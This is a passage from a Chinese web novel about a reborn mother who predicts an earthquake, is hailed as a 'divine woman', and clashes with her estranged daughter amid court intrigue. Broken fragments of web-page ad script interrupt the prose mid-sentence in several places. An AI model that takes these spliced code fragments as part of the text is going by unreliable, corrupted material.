“放肆!”世子夫人冷冷看了她一眼,道,“污蔑夫人小姐,可是要判重罪!” “拿出证据再说话。”有人道,“道听途说,我可见多了。” 娇娇规规矩矩的坐着,见秦娘镇定自若,也收回了眼底闪过的一丝慌张。 秦娘起身:“他人所说终不作数,重要的还是我家郎主,他若承认,其他人有何资格在这儿乱嚼舌根!” “是啊!哪个男子也不会任凭自家娘子给自己戴绿帽子吧!” “肯定是嫉妒,原以为这身边是与自己差不多的人,谁知人家是贵妇!那自是要拉她下泥潭的!” “人最见不得身边人比自己好!” 说着说着,大家看秦馠的眼神越发不屑。 “夫人!张夫人!”秦馠急道,“你们信我!” 张夫人与世子夫人对视一眼。 她们此次请了陈家娘子和小姐前来,就是要探一探,到底谁在背后与张家田庄抢人。 陈衡的底细世子夫人再清楚不过,若能拿了他的错处…… 张家和德毅侯府,都是二皇子的人。 当初他们悄悄将地登记在太子府名下,就是要在合适时机,曝出太子抢占民田。 如今陈衡下来定是要查此事。 “多说无益!”张夫人摆摆手道,“你若有证据,就快拿出来!” “有!我有!”秦馠道。 秦娘捏了捏裙角,让自己稳住,冷静应对。 对方想拿出证据,轻而易举。 突然,一个小丫鬟慌慌张张的跑了进来:“夫人!不好了!” 张夫人被人打断,十分不悦,气冲冲问:“又有什么不好了!” 小丫鬟颤颤巍巍趴下:“夫人,门口有一闹事的泼皮,非要进来,说、说他娘子被咱们府抢了去,还说要到官府告我们强抢民女!” “混账!”张夫人气的全身发抖:“谁!哪位娘子被抢了?近日各位爷的房里新有了哪位娘子?” 她自以为自己夫君及各个儿子是做不出此等混账事的。 “近日并未有新进门的娘子啊!”府中几位丫鬟面面相觑。 张夫人一听丫鬟们如此说,便放下心来。 可她见众人神色各异,知道今日这事若不弄个水落石出,这些人回家指不定怎么传流言蜚语。 她风风火火的起身:“我倒要看看,谁敢在我们府闹事!” 世子夫人抵着头,一副头疼样子:“我就不去了。” 秦娘总算松了口气,这事来得太及时。 门口闹事?不会是陈衡找来的人吧? 她赶忙带着娇娇,跟众位夫人一起前往。 秦馠自然也不落后,紧紧跟着张夫人。她还要跟张夫人好好告状。 快到门口,一道熟悉的声音传来:“娘子!快出来!他们张府若敢欺你!辱你!为夫替你做主!” ……竟是沈鱼? 沈鱼今日听说秦馠来了张府,便动了歪心思,准备讹张府一笔。 若秦馠真的委身张府几位爷,那就是抢了他的人,自然要赔自己一笔。 若并无此事发生,张府为了堵住他的口,打发他走,一定也少 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不了给点银子。 如此一想他便来张府门口喊叫。 秦馠脸一热,恨不得把沈鱼的皮扒了。 “谁在门口叫骂!”张夫人喝道。 门口除了门房护院和管事,张老爷也早已在此,正准备让护院把人赶走。 “等等!”张夫人几步走上前,道,“老爷,今日这事若不说清楚,岂不让我们张府白白背上了坏名声!” 她看向门口的泼皮,“你倒是说说,你娘子姓甚名谁?我们府里到底有没有这位娘子!” 秦馠忙低头往后退去。 可已来不及了。 沈鱼一眼认出了人群中的秦馠,指着她道:“娘子!他们如何对你了?有没有受伤?” 众人齐齐回头,看向秦馠。 “好啊,原来是你!”张夫人立刻使唤家里几个婆子将人按住,“说!你进府是否目的不纯!” 秦馠脸色发白,忙跪在地上,道:“夫人,我是今日才被接进府的!” 张夫人点头,扫视众人:“都听见了?这琵琶女是为今日宴会所请,说什么勾引我家老爷,那更是不可能!” 张家老爷拧着眉头,竟当众斥责起自己的夫人:“看你找的什么不三不四的人!” 张夫人尴尬笑笑:“我只道她技艺出众,还以为是个清白姑娘,谁知已嫁了人,还……还嫁了个无赖!” “赶紧让他们走!”张老爷甩了甩衣袖,气势汹汹的转身走了。 张夫人也不指望秦馠问出什么证据了,忙吩咐众人将这两人撵走。 谁知那沈鱼抓住秦馠不放,竟在门口撒起泼来:“我家娘子清清白白,进了你家府上,指不定被迫伺候了多少男人!你们想就这样撵我们走?” 秦馠捂着脸,不敢见人:“求你!快走吧!我这几日赚的都给你!” “闭嘴!你个不要脸的骚货!”沈鱼大骂,“你那点才多少?他张家要了你的身子,就不该赖账!” 污言秽语惹得众位直往院子里退去,更有不少丫鬟捂住了自家小姐的耳朵。 张夫人面对此等泼皮也毫无办法,只得让管事拿钱,让他闭嘴。 反正众位夫人都知道是怎么一回事,花点小钱赶紧让他滚。 沈鱼得了一袋银子,高兴的嘴也合不拢,又谄媚道:“诸位放心,这事到此已了,今日张府风平浪静,无事发生!祝各位顺顺利利,吉祥如意!” 说罢,他拉上秦馠,要将人带走。 一场宴会就这样被搅了,几位有眼色的夫人即刻提出了告辞,其他人纷纷效仿。 张夫人亦知世子夫人心情已被破坏,也未做多留。 只是最后她拉着秦娘的手,道:“今日着实不好意思,叫这下三滥的女子污蔑了你,改日请世子夫人下帖,邀你再来。” “承蒙夫人看得起。”秦娘应道。 出了府,她正欲上马车,却见不远处秦馠回头望。 沈鱼扯着她,将她的大臂拧的一片紫一片红,她不停躲着,挣脱他的桎梏。 “娘,你要去吗?”娇娇见秦娘遥遥相望,出声问道。 “我不去了。”秦娘无奈摊手,那秦馠见了她跟踩了猫尾巴似的,整个人都要炸毛。 娇娇又回头瞧了瞧,道:“娘,大姐好像在求救。” 35. 不告而别 巷口围着看热闹的人越来越多。 娇娇拉着秦娘的手,央求她过去:“我们只去瞧瞧,好不好,娘亲!” 秦娘弯下身子,盯着她认真道:“只是去看一眼,不准插手。” 既然当初选了断亲,就该各走各的,各有各的缘法,如今的一切是她自作自受。 娇娇同样明白娘的意思,忙不迭点头。 “看什么看!”沈鱼朝人群吼道,“教训自家婆娘没见过?快滚!” 他又朝秦馠道,“臭婆娘,再不走别怪老子把你卖窑子里!” 秦馠一直拿袖子遮住脸,可惜那袖子是一层薄纱,她的相貌还是清清楚楚的暴露在众人面前。 “这是常庆酒楼卖唱的!”人群中有人喊道。 “听他说的意思,这卖唱的是他婆娘?” “无趣!真无趣!” 几人摆了摆手,常庆酒楼该换人了。 这世道,妇人若有了相公,就不该再来风尘之地。 可惜她遇人不淑,她的相公将要把她一脚踹入风尘。 秦馠强忍着泪水,转眼瞥见秦娘和娇娇在人群中看着她,目光中流露出一丝同情。 她突然放下了袖子,扬起头,将那屈辱统统咽进肚子里,化成一口气,一口愤愤不平的气。 “别碰我!”她呲牙咧嘴朝沈鱼怒道,“不然以后我赚的每一个子儿你都休想拿到!” 沈鱼愣了愣,见到人群中两道不算熟悉的身影,顿时笑了:“原来你不怕别人看笑话,你怕她们。” 秦馠昂首阔步,离了这处。 人群散了。 秦娘扯了扯嘴角,道:“瞧,不用我们帮,她有的是办法解决。” “还不是见了我俩,受了刺激。”娇娇看透一切。 “娇娇。”秦娘突然严肃道,“近日夫子教你习课,有句话你还记不记得?” “是说以德报怨?”娇娇回答。 “嗯。”秦娘点头,“你觉得我们该不该出手帮她?” 娇娇低下了头,犹豫道:“她之前想害我们,我们不该帮她……可是,娘,我见不得大姐被人如此对待……” “那你就随你的本心去试一次,若她愿意承情,感激了你,算是好事一件,若她继续对你作恶,你也可吃一堑长一智,往后离她远远的。” 对于教育子女,秦娘着实欠缺。 想上一世她只顾了女儿们的吃穿,却从未在这方面教导,是否因此导致了秦馠后来的恩将仇报? 两人正说着,见张府的大门又开了。 陈衡走了出来,同他一起的,还有个年轻俊俏的郎君。 “世子留步。”陈衡拱手作揖。 那俊俏郎君拿了把折扇把玩,并未看他:“想让本世子留步,曲直兄怕是要手下留情。” “你我本就各为一方,何必为难在下。”陈衡收起手,脸色微变。 世子突然收了折扇,盯着他道:“你确定要与我,与二皇子作对?” 陈衡退后一步,对上他的目光。 “慢走不送!”世子又灿烂一笑。 秦娘看着两人虚与委蛇,竟觉得自己十分可笑。 他们这些人,永远都是如此,彼此间只有利益。 既知自己是他们手中的棋子,又何必听了那些话后自怨自艾。 张府的大门缓缓关上,秦娘拉着娇娇,满面笑容迎回陈衡。 “夫君向来有本事,这么快就和世子见上面了。”她吹捧着他。 陈衡却不大高兴,和她上了马车后,问道:“让你做的事,如何了?” 秦娘这才想起,他之前让自己来赴这场宴,是做什么来了。 他要她看准盘踞在江城的几个大户,想法子挑起他们之间的矛盾。 “才见了一次面,哪成啊?”她堆凑起满脸笑容,“夫君在给点时间,今日宴会被那两人搅合了,我和娇娇也差点露馅。” 事出有因,陈衡也没再追究,只是秦娘忽如其来的转变,让他有些不适。 明明前几日还爱答不理,今日突然如此热情。 “张夫人说了,世子夫人会下帖子再请我相聚。”她眨眨眼,道,“下次再见世子夫人,若没些首饰衣裳,我穷酸些不要紧,陈家的脸面岂不是要丢了?” 既然利用,何不相互。 她压下心中一切情感,笑嘻嘻道:“不如夫君再给些银子?” 陈衡冷着脸,“嗯”了一声。 马车行至沈府门前,一片败落迹象。 家丁们都已遣散,门口只剩个门房在,秦娘更是听说吴氏和姜氏已收拾了东西连夜跑路,姜氏更是临走前卖了三房的妾室,如今宅中只剩下老夫人苟延残喘。 “我准备将这宅子卖了。”陈衡低声道。 秦娘掀开车窗上的小帘,望着那朱漆大门:“卖了?你那祖母住哪儿?” “寻处院子。”他道。 想起适才秦娘要银子的样子,他欲言又止。 待马车已过了沈府,他才堪堪开口:“不然……这宅子给你住?” 秦娘警惕道:“送我这么大的宅子?你又想让我做什么?难不成想让我给你祖母养老送终?” 陈衡哑然失笑:“阿瑶误会了,不日我便要回京,等娇娇回了左家,你回了江城,也算有个一席之地。” 她看着他,自然不信他有那么好心。 “我不要宅子。”秦娘玩笑道,“不如你把它卖了,卖的钱给我。” “好。”陈衡想也不想的答道。 秦娘吓了一跳。 “阿瑶不是要买首饰衣物?”陈衡吩咐车夫将马车停在前边街道。 秦瑶心中七上八下,觉得陈衡背后藏了更大的阴谋。 * 这几日,来庄子里的村民越来越少了。 张家把上游水源统统引进了自家田里,不给村子里留一点。 有人去找张家庄子里管事的,那管事的却答:“呸,关我张家何事?反正我们还不够浇呢,到你们村没了?没了你自己想办法!我们又不能让水先过你们村!” 秦娘听村里来找她的人义愤填膺的说着,不由笑了笑。 让水改道,也不是不可能。 她记得上一世有场小小的天罚,整个江城都震了一下,之后那条水路也改了道,从地势高的地方扰了一圈,先到她们村子,又流到其他庄子。 据说那场天罚是宫里某位不可说的大人物 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 犯了大错。 秦娘觉得此事有些大,还是提前告知陈衡为好。 她到正堂转了一圈,未见到人,又到门口看了眼,马车还在。 转眼瞧见刀剑正坐在院子里的摇椅上,啃着苹果好不悠哉。 “喂,你家公子呢?”她问。 刀剑将苹果三两下啃完,随意抛到地上,道:“东宫出了事,他赶回去了,把我留下照看你们母女。” 他就这样走了? 秦娘心中空落落的,如她所料,只是互相利用,又何来情谊。 “东宫出了何事?”她不禁问。 “来了封急信。”刀剑打量了她一眼,似乎犹豫要不要告知,转念一想此事早晚人尽皆知,于是道,“有人告发东宫那位,这几年抢占了不少民田,闹得百姓流离失所。” 看来不止江城,其他地方也如法炮制。 “官府登记土地怎会出如此纰漏?” “哼,出事的地方都和二皇子有千丝万缕的关系,明眼人一看便知,就是诬陷。”刀剑叹了口气,“可惜百姓不知,都以为是太子抢了他们的地,此事不给百姓一个交代,怕是过不去。” 秦娘叹了口气:“此时回京也是徒劳,他更该留下早日查清事实,拿到证据。” “你还不高兴呢?”刀剑一眼看出她的神情,“我这么好的身手,他竟让我留下,做这些个不重要的事!” “糟了!”秦娘猛然想起,地动天罚一事。 东宫的运气实在不好,若天罚一至,将坐实了他欺压百姓的事实! “你快去府衙,给自己人递个消息。”她慌忙道。 “什么消息要惊动官府?”刀剑来了兴致。 秦娘忧心的望了望天:“我夜观天象,不日将有地龙翻身,江城或许有灾祸。” “地动?”刀剑皱眉,“那我们还等什么,快到临府避一避,离江城最近的是河南府,那里是平原,未听说过曾有地动。” “此次天灾不会太过严重,你去府衙递个话,让大家早做准备。”她解释道,“若失了太多人命,必牵连东宫。” 上次震动是在各处县郊,江城内受到波及不大,只一些不结实的马棚倒塌。 受损最严重的恰是张家连同附近几家大户的田庄,一些庄稼人被裂开的地缝吞掉,消失的无影无踪。 她要早做打算。 城内偏僻街道有不少空屋,秦娘到钱庄取了银钱,便开始一家家将空屋租下。 之后她又命人到村里通知各位,暂将家中值钱物件搬入城中这些空屋,这几日暂且在城内住下。 她的说辞,村民自然是不信的。 可官府又迟迟未下告示,只有几个成日爱在城内玩闹的懒汉搬了进来。 她急得问刀剑:“你到底把消息递进去没?” “递了,可那也得等知府大人的话。”刀剑半信半疑,“真的会地动?” 原来症结在此。 秦娘道:“你想办法,让我见知府大人一面。” “你想清楚,若天灾未发生,你……”他吞吞吐吐道,“你妖言惑众,到时公子他也救不了你。” “你只管去说,若有事我绝不拖累你么!”秦娘态度坚决。 36. 妖言惑众 见秦娘态度坚决,刀剑决定试一试。 没想到只过了一个时辰,官差便再次将她抓了。 刀剑和官差一道来的,他两手一摊,道:“我向知府大人告密,说外边有人妖言惑众,这才把你弄进去,你委屈一下。” ……秦娘望着苍天,无语凝噎。 知府大人姓秦,和秦娘一个姓氏,却是京官下放,两人毫无血亲。 秦娘被推进了退厅。 秦知府和众位同僚正在办公,见人被送来,仔细打量了一番。 “你就是那妖言惑众之人?”秦知府咳嗽了一声,严肃问。 秦娘跪在地上,低头道:“大人,民妇绝不是胡说,天有异象,不出三日,大地震动,请大人速速下发告示,提醒各郊县庄子上的人,进城避难!” “你说这话有何根据?”一人问道。 秦娘仔细回想了上一世地动前,发生的一些征兆:“动物的五感比人更为灵验,这两日街上的狗吠的都比往日厉害些!” 知府身边站着的衙役吃惊道:“大人,我们后院的旺财今日有些燥,不愿往地上趴。” “闭嘴!”知府低声呵斥,“狗好动,兴许是天热了,它不想趴下。” “还有鱼!”秦娘想起上一世地动前井水翻滚,池子里的鱼都纷纷翻着白肚,“府衙后院若有池塘,可看鱼是否有异常。” 更能让人信服的,是地动前一日,城外远眺,从地上映出一片红光。 可惜当时大家只觉得奇异,并未多想。 知府派人去后院看了一眼,鱼虽未翻白肚,却有几只跳出了水面。 众人一时有些捉摸不定。 秦娘便将地光之事告知诸位:“若这两日未现奇光,大人把我抓了审判也不迟!” “这……若没此等灾祸,府衙兴师动众,岂不最后让百姓看笑话?”秦知府看向几位同僚。 一幕僚出主意道:“不如大人将她奉为神女,告知百姓天灾之事全是神女占卜观星之言,若是并无灾祸发生,就将她推出去,以泄民愤!” “此主意甚好!”又一人道,“横竖与我等无关,与府衙无关。” 秦知府道:“这位妇人,你可愿意?” “愿意。”秦娘猛然抬头,“民妇只愿百姓无伤亡,其他全凭大人做主!” 知府怔了怔,见她肤色白皙,一双美目灿若星辰,不由心中可惜。 可惜是个疯妇。 待秦娘走后,便有幕僚上前恭喜:“大人,此次二皇子面前,可有大功劳!” 无论这天灾会不会发生,与他们而言都是件好事。 秦知府立即吩咐:“那笔来,我要上奏!” 若是天灾真的发生,那就是上苍对东宫不满,降下天罚。若无事发生,则民间妇人妖言惑众,蛊惑人心。 打得一手好算盘。 * 告示终于下发,秦娘站在田垄上,看众人纷纷搬家往城里去,松了一口气。 张家庄子里的大批人马,也经过村子,见秦娘在此便将她围住。 “就是你,说会有天灾?”一壮汉带头不满问道,“害得兄弟们瞎折腾,地也不让种了!” 小桃忙挡在秦娘面前:“我们夫人是知府大人亲定的神女!由不得你们放肆!” “神女?”众人打量着她,“长得倒是美貌,是不是跟了知府大人,换了个神女名号?” 众人哄笑。 小桃气的脸色发红。 秦娘将她拉了回来,她已活两世,对这种言语上的侮辱早已不在乎。 “各位,天灾是否真的会降临,自会应验,何必在此费口舌?” 她站在田间,白色袖袍被风吹起,目视远方,竟真有一种怜悯众生之感。 之前口出狂言的人悻悻地闭了嘴。 “若无事发生,你这妇人可得给我们一个交代!”那壮汉道。 “是,给我们个交代!”有人又道,“眼看春种就这几天……到时若粮食收不上来,你得全赔给我们!” 此时田埂上空突然有一群乌鸦飞过,横冲直撞。 “这破鸟今日是怎么回事!乱飞!” “我也觉得这几日有些奇怪,田里的蛙都四处乱跳。” “你们看,那边是不是起雾了?”一人回头,望着后边起雾的地方,又揉了揉眼睛。 “瞎说,大中午的,起什么雾!” “真起雾了!” 天象的确有些不对劲。 众人议论纷纷,看向秦娘的目光中多了些好奇。 “难道……她真是神女?” 刀剑从不远处走过来,瞪了众人一眼:“看什么看!没见过神女?” 众人忙低了头,匆匆赶路。 他走近一瞧,也揉了揉眼:“真起雾了?还有红光?” 远处地平线上,隐隐升起一片红色的光。 太阳突然隐匿进了乌云里。 刀剑不敢置信的看着秦娘:“真被你说中了……” 此时城中也是人心惶惶。 有人甚至讲起了多年前那场地动,大量房屋农田被毁,导致一年之后庄稼颗粒无收,紧接着就是饥荒…… 秦娘回了城,却在后寺巷的巷口见到了秦馠。 秦馠嘴角带着一抹诡异的笑,目光仿佛看透了一切。 “你也同我一样,我猜的没错吧?”她胸有成竹。 自从府衙发布了告示,说她是神女并预测了地动之事,她便更加确定心中的猜测了。 秦娘让刀剑和丫鬟们先回去。 “是,我重生了,一睁眼就回到了你要学艺的那日。”秦娘毫不避讳。 “我早该猜到!”秦馠恨恨的咬牙,“那日你竟松口了,同意我不再做绣娘!我早该察觉,你如此固执,怎可能那么轻易就答应!” 秦娘打量着她。 如今她穿着绫罗绸衣,脸上抹着香脂红唇,发上戴着珠钗,甚至手腕上也多了玉镯。 上一世那个不施粉黛,整日里低头默默做绣活的姑娘,消失了。 可她精致的脸上却多了疲惫之色,不复当初的神采奕奕。 “再来一次,你后悔了?”秦娘问。 “哈哈……”秦馠大笑,“我后悔吗?我怎会后悔!沈郎他虽骗了我,可他待我也是好的,他每日都会等我回去,从不在外沾花惹草……你这种没尝过情爱滋味的人根本不懂!” “如今我赚了银钱,在外风光无限,有多少人为了听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我一曲,甚至不惜冷夜里站在酒楼外等,这不比做绣娘好得多?” “真的吗?”秦娘冷冷讥笑,“你确定你的沈郎只会有你一个?若他不是落魄了,会与你这种蠢货在一起?明明靠着一身好手艺,可早日崛起,你却选了上一世从未修过的琴艺!如今你的风光,不过是众人的一时新鲜!” “说到底,你就是不愿承认我离了你,过得更好罢了!”秦馠嗤笑,“你记得上一世发生的事,我也记得,这个神女,你能当得,我也自然能当!” 秦娘警惕:“你要做什么?” “自然是拆穿你这个假神女!” 秦馠记得的事,比她更多,更清楚。 上一世的此时她还是个姑娘,在绣坊待久了便会同一些绣娘一起到街市逛。 关于这场天灾,后来谁家遭了祸,她记得清清楚楚。 当年后寺巷因靠近城门,又有寺庙在灾后对外开放,大量郊外受了灾的灾民被安置在此处。 其中不乏鸡鸣狗盗之辈。 若是买通一些人,强闯了院子…… 神女死了,知府大人若再需要一个神女,她是最好的人选。 秦馠抬脚往府衙走去。 她要利用自己所知的,帮助知府大人。 正走着,路过自家门口,却见沈鱼正与一群人纠缠。 “还钱!”一恶霸掐着他的脖子,恶狠狠道,“都几日了!再不还钱,老子剁了你!” 沈鱼惊恐的瞪大双眼:“再宽限两日!我娘子有钱,等她一回来,我就问她要!” "一个臭婆娘,能有多少钱?"恶霸怒道,“少在那儿拖延!你欠的赌债少说也有百两!若再还不上,老子今日就将你抓去我们赌坊!剁了喂狗!” 秦馠见此情景,全身打了个冷颤,遮住脸硬着头皮跟几个路人一同往前走去。 然而沈鱼对她的身影已十分熟悉,只余光一瞥见,忙伸手指着她道:“她有钱!她是我娘子!” 几人松开了他,转头看向秦馠。 秦馠怔了一下,忙摆手道:“我不认识他!” 她低下头,转身要走。 沈鱼急了,忙道:“她的确是我娘子!整条街都知道!不信你问问,看她满身珠宝首饰,她定是有钱的!” 几个壮汉迅速将她围了。 “头,我见过她!”一人猥琐笑了笑,“她在酒楼卖唱,那琵琶小曲,一开口娇美无比!” “要不……把她带走?”另有一喽啰提议。 秦馠瑟瑟发抖:“你们要多少钱?我、我给你们!” 沈鱼不忘在一旁帮腔:“她每晚都有贵人打赏!” 领头的恶霸满脸横肉,他看看沈鱼,又瞧瞧秦馠。 “兄弟,我改主意了。”他吩咐众人,“把这两个人都带走!今夜游船,就让你们两个好好伺候伺候,兴许把我们爷伺候舒服了,放你们一马!” “放开我!”秦馠挣扎着,“你们这样把人带走,还有王法吗!” “欠债还钱,天经地义!”恶霸像听到了笑话一样,得意道,“欠了我们知府大人的钱,还想赖账!” 原来那赌坊背后的主人,竟是知府大人。 她放弃挣扎,这是一个机会。 37. 吾妻阿瑶 秦娘收到了陈衡的来信。 她将信展开,只见上边廖廖几个大字: “吾妻阿瑶:所托之事如何?” 所托何事? 刀剑只好拿出另一封信:“他走之前,给你留了信。” 原来他留了信,不是不告而别,秦娘心中莫名一阵畅快,盯着信开头那两个字“吾妻”,不知不觉嘴角上翘。 就算是假的也好,见到这种字眼,她还是会被他哄的高兴。 信上所托,是说自己走得急,托她将田产之事前因后果完整写下来,并请村民们按上手印,作《万民书》,送至他手上。 秦娘大笔一挥回了信,让他不要忧心,自己已找到了破解之法,他只需在京中等上两三日即可。 这过了两三日,却迟迟没有动静。 城内百姓聚集,纷纷怀疑灾祸会不会发生,甚至已有人携家眷至城门口,非要回去。 所幸此刻有一女子挺身而出,将城门口的人劝住。 秦娘来的时候,正看到秦馠站在城门前,身边是一排府衙的差役。 “请众位听我一言。”秦馠大声道,“天灾是一定会发生的,若此时回去,定会死无葬身之地!” “你又是谁?”有人不服,“你说会发生就会发生?一个个的,全都充起神仙来!” 差役亮了刀:“休得对神女无礼!” 此时有人转头发现了人群后的秦娘,嚷道:“神女娘娘来了!” 一时之间所有人都回过头。 “嘁,到底哪个是神女,怎么出了两个?” “谁先预言的谁就是,我看官府那个,八成是有什么背景靠山,沽名钓誉来了。” 听众人议论,秦馠喝道:“她是假冒的!” 人群中一人带头道:“管你们谁是真的谁是假的!我今日就要出城门,回去!” “我也是!”众人纷纷响应。 “我家邻居,小毛他们一家昨日就回了!到现在还好好活着,在家种着田呢!” 话音刚落,城中突然狗吠四起,此起彼伏,连成一片。 一大群鸟儿仿佛约好了般哗啦啦从各处钻了出来,又迅速飞走。 有人发现他袖袋里的物件掉落在地:“奇怪,这东西怎么掉出来了?” 随即大地震了一下。 “地、地动了!”有人喊道。 众人面面相觑:“好像是动了一下。” “难道是真的?真会地动?” 此刻离城门较近的一老妇,突然冲出人群,跪倒在秦馠脚下:“求神女救救我那儿孙!他们昨日说要回去取些东西,今日一早便来城里,如今城门紧闭!求神女让诸位大人把门开开,让我那儿子与三岁孙儿快进来!” “我家郎君昨日也出了城!” “我家也是,你们关了城门,怎么让他们进来!” 他们说着,竟齐齐跪下求道:“求神女慈悲!打开城门!” 秦馠茫然的看了看身边差役,问道:“这如何是好?” 差役摇头:“城门既已关闭,自然是不能再开!” 人心惶惶。 大部分人自然不愿同意开城门,仿佛这道城墙是他们最后的堡垒,能隔绝外头一切灾祸。 秦馠将那老妇抓着自己裙角的手掰开:“没听大人们说吗?城门不能开!” “对!不能开!” 见秦馠这边行不通,几人又纷纷把求救的目光投向身后。 “这位……神女,能不能救救他们……”有人艰难开口。 “您既然贵为神女,岂能眼睁睁看着世人蒙难!”有人大声谴责。 面对此等说辞,秦娘深刻体会到什么叫“可怜之人必有可恨之处”。 本就是某些人不听劝告,此刻又赖上自己了。 她不想管,可一想到那一条条人命…… 对于张家李家那些大户来说,这些人都是他们庄子里的奴隶。 奴隶的命,不值钱。 但秦娘长于乡间,这些人都和她一样,是邻里的庄稼汉。 她穿过人群,走到秦馠面前,与他们交涉起来。 “你想做神女?”她直言道,“我可以对他们说,灾祸预言之事都是我从你这儿听来的,是我盗取了你的预言,只要你将城门打开,让还留在外的人进来。” 此时离真正的地动来临,所剩时间不多了。 秦馠有些犹豫:“灾祸一起,若城门四开,波及城中,你就不怕我们也被那地缝吞噬?” “上一世城中情景你最清楚不过,若地动波及城中,你觉得一道小小的城门能抵挡得了那地龙翻身?”她盯着她,目光如炬,“我只给你这一次机会,你想好了。” 秦馠终是抵不过诱惑,吩咐身边差役:“大哥,还是开城门吧,等人都进来,再关上也是无碍的。” “听神女的。”几人摆手,吩咐城门值守官兵将城门打开。 秦娘转身面对众人,沉声道:“我,一介村妇!前日听得神女占卜,知天灾即将降临,遂生出不该有的心思,妄图顶替神女之名!今在神女及百姓面前诚然悔悟!愿上苍原谅!请神女原谅!” 一时人群静的可怕。 明明众人亲眼所见,她到田间劝导大家离开,又在此刻与官府交涉,然而却无一人站出来,只低头默默听着她的忏悔。 沉重的城门缓缓打开,城外久等的人纷纷入城,如劫后余生般笑着跳着跑进来,与亲人团聚。 秦娘低头,静静穿过人群,之后的事与她再无关联了。 秦馠望着她的背影,露出得意的笑容。 如今她是成功者,而那个人终于失败。 突然,远处传来轰隆隆的声音,守城兵忙关上城门,大地开始摇晃。 “地动来了!地动真的来了!” 有人想四处逃窜,却发现地面晃动的根本走不了,只好学着他人的样子,纷纷趴在地上。 然后他们便发现,这城内摇晃的并不厉害。 过了不知多久,地动停了。 “就这样?结束了?”大家不敢置信。 站在城墙上的士兵远眺前方,发现远处地面凸起,已不复之前原貌。 他们朝楼下大喊:“报——长官!远郊大树连根拔起,地露缝隙,有山丘凸起!” 这声音在城墙上方盘绕,传入每个人的耳中。 先前那老妇突然朝秦娘的背影跪下,大声冲她喊道:“谢神女救 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了我家儿孙!” 人们纷纷跪下:“谢神女!” “谢神女!” 那声音振聋发聩,响彻在每个人的身边。 公道自在人心。 待人群三三两两的散去,秦馠久久站立在城门前。 她咬牙道:“明明是我让开的城门!为什么!为什么大家还是信你!” “接下来你打算如何?”刀剑跟在她身后,怀中抱着他那把刀,问道。 方才的事他全看在眼里,想起之前与陈衡说的那些话,一时有些愧疚。 这个女子,自不是京中那些被圈养在深宅中的妇人能相比的。 秦娘头也不回,道:“回去给你家公子去信一封,就说太子府的地因地龙翻身凸起,河流改道入田,绝对是好兆头,什么天罚,这是上天要昭告天下,太子是上天选定的福泽之人!” “……妙啊!”刀剑钦佩不已,“你早想到了是不是?不对,你怎么知道那片地地势变高了?河流改道了?” 秦娘回头瞪了他一眼:“你家公子不是早跟你说过,我通巫术,能预知将来发生之事!你还不信!” “巫术?”他忙讨好的笑道,“怎会是巫术,是神女降临!” 就算他不信怪力乱神之说,只要对陈衡百利无害,其他的倒也无妨。 “我登上城墙,亲眼去看一看!”他兴致勃勃。 秦娘走了一路,街道两边认得她的人,皆对她注目施礼。 “那就是神女?” “不得了啊,听说我们那儿有个人不信会有灾祸,硬是没搬进城,这会儿估计……” “这么说,神女救了不少人啊!” “那可不,这回宫里该下旨接见了吧?” 秦娘闻言暗自激动,若入了皇城,被皇帝接见,那娇娇的事更顺利了。 不过……她想起方才城门口之事。 虽她传于百姓之中,若府衙上报,定会将秦馠报上去。 不如直接越过官府,让陈衡直达天听! 想到自己将出尔反尔,虽对不住秦馠,却觉心中无比快活。 正如此想着,走到后寺巷,她却发现,巷子里乱糟糟的。 地动在东,偶有微小余震,可还是有不少受到惊吓的西郊百姓,纷纷躲进城中。 后寺巷离西城门最近,寺里又有免费施粥,所以这些人自然将此巷作为落脚点。 莹秋带着人在巷口接到秦娘,一脸愁容:“不出三刻,就有几波人上门,要这要那的,这可如何是好?” 秦娘看了看这些百姓,有人百无聊赖的坐在地上,有人大大咧咧的躺着,一条巷子路被占了一半。 她让几个看家护院的挨个告知:“西边又没受灾,大家可放心回去。” 谁知那些人根本不听:“万一东边过了就轮到西边,现在让大家回去,不是送死?” 莹秋急得上火:“这也太不安全了,小姐还在家中,公子又出了远门,夫人,不如我们先搬走吧!” 秦娘想到了沈宅。 那宅子如今只剩老夫人一人住着,里头的人被吴氏与姜氏发卖的差不多了,所剩奴婢家丁无几。 “那我们便收拾了东西,换个地方吧!” 38. 公子归来 城内很快恢复了往日热闹。 秦娘只来得及将一些常用的物件带上马车,便匆匆离了后寺巷,前往沈宅。 如今的沈宅,门前冷落车马稀,秦娘站在落满灰尘的台阶前,等着门房进去通报。 很快有人通传,沈老夫人愿意让她们进去。 娇娇对此处也算熟悉,先一步跨入大门中,里边阴森的大树遮挡了阳光,影壁处一片阴影。 她纵是活泼好动不畏寒的小姑娘,也忍不住打了个冷颤。 才短短一两个月,沈宅就颓败成这等样子。 门房畏畏缩缩的站在一旁,见人都进来,将大门关闭。 前院正厅皆无人洒扫,几人走过,裙摆上沾染了灰尘。 秦娘忍不住回头问门房:“如今宅中家丁奴仆还剩多少?” “回大奶奶,除了我,只剩老夫人院里还有几个贴身侍候的。”门房瘦弱的身子在树荫下瑟瑟缩缩。 人少倒清净。 秦娘暗中嘀咕,只是她一个老夫人,住着如此大的宅子,那吴氏和姜氏竟连护院都给打发了。 一行人正走着,老夫人身边的大丫鬟匆匆赶了过来。 “秦氏。”她随随便便侧身一福,道,“老夫人叫你过去。” 听她如此唤自己,秦娘明白,老夫人已不承认自己的身份。 “娇娇,你带这些姐姐到我们的住处。”她嘱咐娇娇,“小桃莹秋她们都未来过此处,你还识得路吧?” 娇娇点头,正要带她们走,却被那丫鬟拦住了去路。 她仰头垂眸打量着娇娇,道;“老夫人说了,这小丫头也得去见她!” “你好生无礼!”小桃看不惯,率先跳了出来。 那丫鬟翻了个白眼:“这里还没你说话的份儿!” “哼,若真拿台面上来说,我可比你有资格!”小桃不屑的笑了笑,“我自小就生在沈家庄子里!你呢?几岁进来宅子里的?” “让你们去就快去!多说无益!”那丫鬟百口莫辩,急红了脸。 